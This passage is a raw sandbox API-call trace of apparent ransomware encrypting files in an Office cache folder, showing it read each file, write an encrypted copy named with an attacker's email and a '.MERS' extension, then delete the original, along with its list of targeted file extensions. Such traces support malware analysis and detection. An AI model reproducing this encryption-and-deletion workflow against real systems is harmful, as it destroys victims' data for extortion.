(hFile=0x1dc) returned 1 [0034.869] CloseHandle (hObject=0x1dc) returned 1 [0034.869] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.870] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0034.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.870] lstrlenW (lpString=".doc") returned 4 [0034.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString=".docx") returned 5 [0034.870] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.870] lstrlenW (lpString=".pdf") returned 4 [0034.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString=".xls") returned 4 [0034.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString=".xlsx") returned 5 [0034.870] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.870] lstrlenW (lpString=".ppt") returned 4 [0034.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.870] lstrlenW (lpString=".zip") returned 4 [0034.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.870] lstrlenW (lpString=".rar") returned 4 [0034.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString=".bz2") returned 4 [0034.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.870] lstrlenW (lpString=".7z") returned 3 [0034.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString=".dbf") returned 4 [0034.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString=".1cd") returned 4 [0034.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString=".jpg") returned 4 [0034.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString=".doc") returned 4 [0034.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString=".docx") returned 5 [0034.871] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.871] lstrlenW (lpString=".pdf") returned 4 [0034.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString=".xls") returned 4 [0034.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString=".xlsx") returned 5 [0034.871] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.871] lstrlenW (lpString=".ppt") returned 4 [0034.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.871] lstrlenW (lpString=".zip") returned 4 [0034.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.871] lstrlenW (lpString=".rar") returned 4 [0034.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.872] lstrlenW (lpString=".bz2") returned 4 [0034.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.872] lstrlenW (lpString=".7z") returned 3 [0034.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.872] lstrlenW (lpString=".dbf") returned 4 [0034.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.872] lstrlenW (lpString=".1cd") returned 4 [0034.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.872] lstrlenW (lpString=".jpg") returned 4 [0034.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.872] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.872] lstrlenW (lpString="Setup.xml") returned 9 [0034.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.872] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2362) returned 1 [0034.872] CloseHandle (hObject=0x1dc) returned 1 [0034.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0034.873] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.873] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0034.873] GetLastError () returned 0x0 [0034.873] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x93a, lpOverlapped=0x0) returned 1 [0034.892] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x940, lpOverlapped=0x0) returned 1 [0034.893] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.893] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.893] SetEndOfFile (hFile=0x1e4) returned 1 [0034.894] CloseHandle (hObject=0x1e4) returned 1 [0034.894] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.894] SetEndOfFile (hFile=0x1dc) returned 1 [0034.895] CloseHandle (hObject=0x1dc) returned 1 [0034.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.895] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".doc") returned 4 [0034.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".docx") returned 5 [0034.896] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.896] lstrlenW (lpString=".pdf") returned 4 [0034.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".xls") returned 4 [0034.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".xlsx") returned 5 [0034.896] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.896] lstrlenW (lpString=".ppt") returned 4 [0034.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".zip") returned 4 [0034.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.896] lstrlenW (lpString=".rar") returned 4 [0034.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".bz2") returned 4 [0034.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString=".7z") returned 3 [0034.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.896] lstrlenW (lpString=".dbf") returned 4 [0034.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".1cd") returned 4 [0034.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".jpg") returned 4 [0034.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.897] lstrlenW (lpString=".doc") returned 4 [0034.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".docx") returned 5 [0034.897] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.897] lstrlenW (lpString=".pdf") returned 4 [0034.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.897] lstrlenW (lpString=".xls") returned 4 [0035.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString=".xlsx") returned 5 [0035.241] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.241] lstrlenW (lpString=".ppt") returned 4 [0035.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.241] lstrlenW (lpString=".zip") returned 4 [0035.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.241] lstrlenW (lpString=".rar") returned 4 [0035.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString=".bz2") returned 4 [0035.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString=".7z") returned 3 [0035.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.241] lstrlenW (lpString=".dbf") returned 4 [0035.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.241] lstrlenW (lpString=".1cd") returned 4 [0035.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.241] lstrlenW (lpString=".jpg") returned 4 [0035.241] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.241] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.241] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0035.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.242] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5557) returned 1 [0035.242] CloseHandle (hObject=0x1e8) returned 1 [0035.242] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0035.242] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.242] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.243] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0035.243] GetLastError () returned 0x0 [0035.243] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0035.361] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0035.362] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.362] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.362] SetEndOfFile (hFile=0x1dc) returned 1 [0035.634] CloseHandle (hObject=0x1dc) returned 1 [0035.634] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.634] SetEndOfFile (hFile=0x1e8) returned 1 [0035.635] CloseHandle (hObject=0x1e8) returned 1 [0035.635] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.635] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0035.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.636] lstrlenW (lpString=".doc") returned 4 [0035.636] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString=".docx") returned 5 [0035.636] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.636] lstrlenW (lpString=".pdf") returned 4 [0035.636] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString=".xls") returned 4 [0035.636] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString=".xlsx") returned 5 [0035.636] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.636] lstrlenW (lpString=".ppt") returned 4 [0035.636] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.636] lstrlenW (lpString=".zip") returned 4 [0035.636] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.636] lstrlenW (lpString=".rar") returned 4 [0035.636] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString=".bz2") returned 4 [0035.636] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString=".7z") returned 3 [0035.636] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.636] lstrlenW (lpString=".dbf") returned 4 [0035.636] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.636] lstrlenW (lpString=".1cd") returned 4 [0035.636] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString=".jpg") returned 4 [0035.637] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString=".doc") returned 4 [0035.637] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString=".docx") returned 5 [0035.637] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.637] lstrlenW (lpString=".pdf") returned 4 [0035.637] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString=".xls") returned 4 [0035.637] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString=".xlsx") returned 5 [0035.637] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.637] lstrlenW (lpString=".ppt") returned 4 [0035.637] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString=".zip") returned 4 [0035.637] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.637] lstrlenW (lpString=".rar") returned 4 [0035.637] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString=".bz2") returned 4 [0035.637] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString=".7z") returned 3 [0035.637] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString=".dbf") returned 4 [0035.637] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.637] lstrlenW (lpString=".1cd") returned 4 [0035.637] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.638] lstrlenW (lpString=".jpg") returned 4 [0035.638] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.638] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.638] lstrlenW (lpString="Setup.xml") returned 9 [0035.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.638] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9352) returned 1 [0035.638] CloseHandle (hObject=0x1e8) returned 1 [0035.638] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.638] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.638] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.638] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0035.639] GetLastError () returned 0x0 [0035.639] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x2488, lpOverlapped=0x0) returned 1 [0035.652] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0035.655] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.655] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.655] SetEndOfFile (hFile=0x1dc) returned 1 